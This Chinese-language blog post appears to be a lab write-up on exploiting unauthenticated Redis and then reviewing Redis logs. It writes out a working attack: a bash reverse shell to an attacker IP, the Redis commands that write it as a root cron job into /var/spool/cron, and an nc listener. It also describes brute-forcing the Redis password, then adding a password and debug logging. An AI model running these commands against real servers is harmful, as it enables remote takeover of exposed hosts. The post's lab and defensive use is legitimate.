redis未授权访问漏洞利用+redis日志分析

redis未授权访问漏洞利用+redis日志分析

redis未授权访问

远程连接redis

kali: redis-cli -h IP

redis常用语句

set key “value” 设置键值对

get key 获得值

incr intkey 数字类型值加1

keys * 获取当前数据库中所有的键

config set dir /home/test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 查看工作目录

config get dbfilemane 查看备份文件名

save 进行一次操作的备份

flushall 删除所有数据

del key 删除键为key的数据

redis未授权访问利用方法

  1. 设置目录》写入一句话木马》保存到备份文件(写在网站目录下)
  2. 或者搞个定时任务反弹shell
  3. 或者直接写公钥(ssh直接冲!)
  4. 最后redis4.x之后可以通过c语言编译并加载恶意的.so文件(主从复制)

第一种利用方法

需要服务器开启web服务,使用redis数据备份功能结合web服务向网站根目录写入一句话木马从而得到网站的webshell

需要写入权限

第二种利用方法

通过redis数据备份写定时任务,通过定时任务反弹shell

需要root权限

第三种利用方法

通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

需要root权限

安装redis客户端

下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压: tar xzvf redis-2.8.17.tar.gz

进入目录: cd redis-2.8.17.tar.gz

编译: mack

进入src目录: cd src

将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/

将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/

开启redis服务

回到/redis-2.8.17.tar.gz目录下

redis-server redis.conf

image-20230522165245512

攻击机kali安装redis

和centos一样

反弹shell

这里试着写个定时任务反弹shell

测试连接

靶机ip:192.168.27.192

攻击机ip:192.168.27.129

redis-cli -h 192.168.27.192

image-20230522170056514

连接成功

写一个反弹shell

sh -i >& /dev/tcp/192.168.27.128/8023 0>&1

改成定时任务的格式

*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

写入定时任务

先监听一下8023端口

nc -lvvp 8023

写入定时任务

set x “\n\n*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1 \n\n”

config set dbfilename root

config set dir /var/spool/cron

save

image-20230522170518711

等待漫长的一分钟

image-20230522170631107

拿到shell

日志审计

爆破redis密码

使用工具超级弱口令检查工具

image-20230522171849948

因为没有密码,所以任意密码可登陆,跑出来个qwerty

接下来给redis加上密码,admin123

关闭redis服务,gedit redis.conf 找到requirepass,把注释符去掉,密码改为admin123 保存退出

再次开启redis服务

image-20230522172025911

使用kali再连接一下试试

image-20230522172227477

需要密码了!

接着爆破

image-20230522172308768

搞出来啦!

用kali尝试一下

image-20230522172501825

成功

日志

image-20230522173118307

这里将日志保存到文件/tmp/log/redis.log,将notice换为debug模式

再tmp目录下mkdir log

然后再启动redis服务

下面继续爆破,然后查看日志

image-20230522173952782

可以看到大量的请求,但是看不出来是攻击,ip为192.168.27.191(windows)

image-20230522174053969

用kali去连接,然后随意操作一下

image-20230522174547391

看不到操作的内容

升级高版本redis!

wget https://github.com/redis/redis/archive/refs/tags/7.2-rc2.zip

后续操作同前面

将redis-server 移动到/usr/bin/

cp redis-server /usr/bin/redis-server2

使用redis-server2启动redis服务

image-20230522180143363

可以启动,然后修改一下redis.conf

image-20230522180331238

image-20230522180633275

将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下

image-20230522180735806

再向上面一样配置一下日志和密码,然后用kali登陆成功一下,失败一下看看日志

成功的日志如下

image-20230522182302013

登陆失败日志

image-20230522182600158

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值